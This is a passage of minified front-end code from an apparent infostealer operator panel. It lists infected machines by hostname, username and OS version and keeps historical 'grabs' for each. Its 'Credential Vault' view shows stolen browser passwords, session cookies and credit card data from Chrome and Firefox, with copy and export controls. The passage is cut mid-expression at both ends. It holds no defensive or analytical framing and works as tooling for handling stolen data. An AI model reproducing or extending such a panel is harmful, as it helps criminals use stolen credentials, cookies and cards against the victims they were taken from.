text-zerin-text-muted",children:[T.grabs.length," historical grabs"]})]})]}),ae&&T.grabs.length>1&&a.jsx("div",{className:"bg-zerin-bg/50 border-b border-zerin-panel-border/50",children:T.grabs.map((vr,Qr)=>{const Li=(o==null?void 0:o.agent.agent_id)===T.agent_id&&(o==null?void 0:o.grabIdx)===Qr;return a.jsx("button",{onClick:()=>N(T,Qr),className:`w-full text-left px-6 py-2 text-xs transition-colors
${Li?"bg-zerin-accent-muted/40 text-zerin-accent":"text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-text"}`,children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"font-mono",children:q2(vr.received_at)}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted font-mono",children:vr.task_id.slice(0,8)})]})},vr.task_id)})})]},T.agent_id)})})})]}),a.jsx("div",{className:"flex-1 overflow-auto custom-scrollbar",children:!o||!c?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-16 h-16 mx-auto mb-5 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-8 h-8 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Vault"}),a.jsx("p",{className:"text-zerin-text-muted text-xs max-w-xs",children:"Select a client from the left panel to view their grabbed credentials and session data."})]})}):a.jsxs("div",{className:"animate-fade-in",children:[a.jsx("div",{className:"sticky top-0 z-10 bg-zerin-panel/95 backdrop-blur-sm border-b border-zerin-panel-border px-6 py-4",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center gap-3 mb-1",children:[a.jsx("h2",{className:"text-base font-semibold text-zerin-text",children:o.agent.hostname}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:o.agent.agent_id.slice(0,8)})]}),a.jsxs("div",{className:"flex items-center gap-3 text-xs text-zerin-text-dim",children:[a.jsx("span",{className:"font-mono",children:o.agent.username}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{children:o.agent.os_version}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{children:q2(o.agent.grabs[o.grabIdx].received_at)})]})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsxs("span",{className:"text-xs font-mono text-zerin-accent bg-zerin-accent/10 px-2 py-1",children:[G2(c)," items"]}),a.jsxs("button",{onClick:A,className:`inline-flex items-center gap-1.5 text-xs font-medium\r
text-zerin-text-dim hover:text-zerin-text\r
bg-zerin-panel hover:bg-zerin-panel-hover\r
border border-zerin-panel-border\r
px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export"]})]})]})}),a.jsxs("div",{className:"p-6 space-y-2",children:[a.jsx($n,{title:"Browser Passwords",count:(((_=c.chrome_passwords)==null?void 0:_.length)??0)+(((O=c.firefox_passwords)==null?void 0:O.length)??0),expanded:d.has("passwords"),onToggle:()=>k("passwords"),children:(()=>{const T=[...c.chrome_passwords??[],...c.firefox_passwords??[]];return T.length===0?a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:T.map((ae,ue)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:ae.browser??"Firefox"}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:ae.url}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:lt=>S(ae.username,lt),children:ae.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:lt=>S(ae.password,lt),children:ae.password?"••••••••":""})]},ue))})]})})()}),a.jsx($n,{title:"Browser Cookies",count:((P=c.chrome_cookies)==null?void 0:P.length)??0,expanded:d.has("cookies"),onToggle:()=>k("cookies"),children:(D=c.chrome_cookies)!=null&&D.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.chrome_cookies.map((T,ae)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:T.host}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:T.name}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.value,ue),children:[T.value.slice(0,40),"..."]})]},ae))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),a.jsx($n,{title:"Credit Cards",count:((V=c.chrome_cards)==null?void 0:V.length)??0,expanded:d.has("cards"),onToggle:()=>k("cards"),children:(R=c.chrome_cards)!=null&&R.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),a